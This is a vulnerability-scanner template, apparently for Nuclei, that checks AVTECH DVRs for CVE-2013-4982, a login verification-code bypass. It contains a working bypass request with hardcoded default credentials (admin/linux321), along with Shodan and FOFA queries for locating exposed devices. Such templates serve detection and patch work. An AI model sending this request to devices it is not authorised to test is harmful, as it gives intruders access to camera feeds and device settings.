id: CVE-2013-4982

info:
  name: AVTECH DVR - Login Verification Code Bypass
  author: ritikchaddha
  severity: low
  description: |
    AVTECH DVR products are vulnerable to verification code bypass just by entering the "login=quick" parameter to bypass verification code.
  impact: |
    Attackers can bypass authentication mechanisms and gain unauthorized access to the DVR system, potentially viewing camera feeds, modifying settings, or compromising the device.
  remediation: |
    Update to the latest firmware version or contact the vendor for a security patch.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2013-4982
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5.0
    cve-id: CVE-2013-4982
    epss-score: 0.13117
    epss-percentile: 0.95964
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"login" product:"Avtech"
    fofa-query: app="AVTECH-视频监控"
  tags: cve,cve2013,avtech,verify,bypass,iot,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/nobody/VerifyCode.cgi?account={{base64(username + ':' + password)}}&login=quick"

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - linux321

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "^0.*\nOK.*"

      - type: dsl
        dsl:
          - status_code == 200
          - len(body) == 5
        condition: and
# digest: 490a004630440220219ab6d55a7b3fcab1df88934d33e3088544d6fd1867051a14cc88ef2029deb602200aeed6784f644915c139941a9aec69dced128a8ff9c193f009e5bcd44a26cf48:922c64590222798bb761d5b6d8e72950